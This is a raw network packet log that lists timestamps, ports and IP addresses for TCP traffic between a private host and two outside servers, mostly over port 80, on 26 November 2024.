Nov 26, 2024 10:09:31.935498953 CET	443	49835	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.935534000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.935642004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.935898066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.936058998 CET	443	49834	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.936283112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.936340094 CET	443	49836	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.936356068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.936402082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.937335968 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.937377930 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.937609911 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.937823057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.938164949 CET	49835	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.938191891 CET	443	49835	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.938381910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.938450098 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.938479900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.938524961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.938539028 CET	443	49835	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.938543081 CET	49834	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.938561916 CET	443	49834	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.938880920 CET	443	49834	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.939337015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.939418077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.939558029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.940135002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.940196037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.940228939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.940519094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.940972090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.941024065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.941029072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.941279888 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.941346884 CET	49834	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.941472054 CET	443	49834	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.941540956 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.941550970 CET	443	49836	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.941978931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.942050934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.942217112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.942473888 CET	49835	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.942497015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.942543983 CET	443	49835	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.942603111 CET	443	49836	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.942656040 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.943274975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.943375111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.943420887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.944180965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.944214106 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.944245100 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.944266081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.944273949 CET	443	49836	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:31.944401979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.945081949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.945158958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.945187092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.945261002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.945946932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.946069956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.946141958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.946954012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.946973085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.947020054 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.947057009 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.947565079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.947577000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.947626114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.948481083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.948544025 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.948570967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.948735952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.949419975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.949486017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.949508905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.949728966 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.950339079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.950395107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.950424910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.950812101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.951288939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.951389074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.951441050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.952234983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.952370882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.952446938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.953154087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.953217030 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.953294992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.953840017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.954086065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.954150915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.954161882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.954328060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.955034018 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.955096960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.955126047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.955286026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.955935001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.956038952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.956101894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.957035065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.957101107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.957129002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.957518101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.957961082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.958014011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.958048105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.958216906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.958834887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.958878994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.958892107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.958914995 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.959722996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.959804058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.959867001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.960614920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.960664034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.960690022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.960758924 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.961615086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.961668015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.961697102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.961760998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.962492943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.962552071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.962589025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.962763071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.963438034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.963509083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.963562012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.964492083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.964656115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.964730978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.965378046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.965424061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.965476990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.966249943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.966340065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.966386080 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.967158079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.967271090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.967333078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.968121052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.968177080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.968180895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.968215942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.969085932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:31.971311092 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:31.987730026 CET	49834	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.987731934 CET	49835	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.987751961 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:31.987771034 CET	443	49836	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:32.035924911 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:32.115870953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.115961075 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.116008997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.116056919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.116095066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.116153002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.116192102 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.116890907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.116975069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.117029905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.117595911 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.117677927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.117732048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.118258953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.118309021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.118369102 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.118859053 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.119035959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.119036913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.119088888 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.119846106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.119899035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.119951010 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.120102882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.120522022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.120663881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.120722055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.121346951 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.121368885 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.121400118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.121412992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.122324944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.122461081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.122519970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.123025894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.123079062 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.123100996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.123285055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.123487949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.123631001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.123662949 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.123673916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.124336958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.124392033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.124423027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.124463081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.125086069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.125143051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.125174046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.125212908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.125859022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.125911951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.125996113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.126176119 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.126607895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.126662970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.126663923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.127016068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.127449036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.127861023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.127927065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.128321886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.128341913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.128376007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.128407001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.129019976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.129081964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.129102945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.129333019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.129741907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.129836082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.129890919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.130508900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.130559921 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.130573034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.130836010 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.131295919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.131377935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.131500006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.132133007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.132230043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.132282019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.133107901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.133183956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.133240938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.133887053 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.133939028 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.134004116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.134624958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.134748936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.134816885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.135339975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.135382891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.135426044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.136046886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.136106968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.136198997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.136245012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.137098074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.137150049 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.137295008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.137376070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.137984037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.138042927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.138098001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.138925076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.138983011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.139039040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.139138937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.139972925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.140045881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.140100956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.140630007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.140690088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.140755892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.140809059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.141520977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.141576052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.141599894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.141911983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.142396927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.142446041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.142529011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.142692089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.143151999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.143203020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.143264055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.143503904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.144026995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.144083023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.144109011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.144149065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.144681931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.144737005 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.144778013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.145344019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.145441055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.145524025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.145581007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.146254063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.146275043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.146310091 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.146325111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.147092104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.147185087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.147238016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.147924900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.147962093 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.148029089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.148130894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.148781061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.148843050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.148871899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.149068117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.149753094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.149811029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.149847984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.149914026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.150758982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.150810957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.150841951 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.150886059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.151591063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.151644945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.151669025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.151715040 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.152335882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.152395010 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.152475119 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.152620077 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.153142929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.153187990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.153223038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.153470993 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.154032946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.154083967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.154114008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.154156923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.154864073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.154922962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.155004025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.155165911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.155777931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.155931950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.156002998 CET	49766	80	192.168.2.5	185.215.113.206
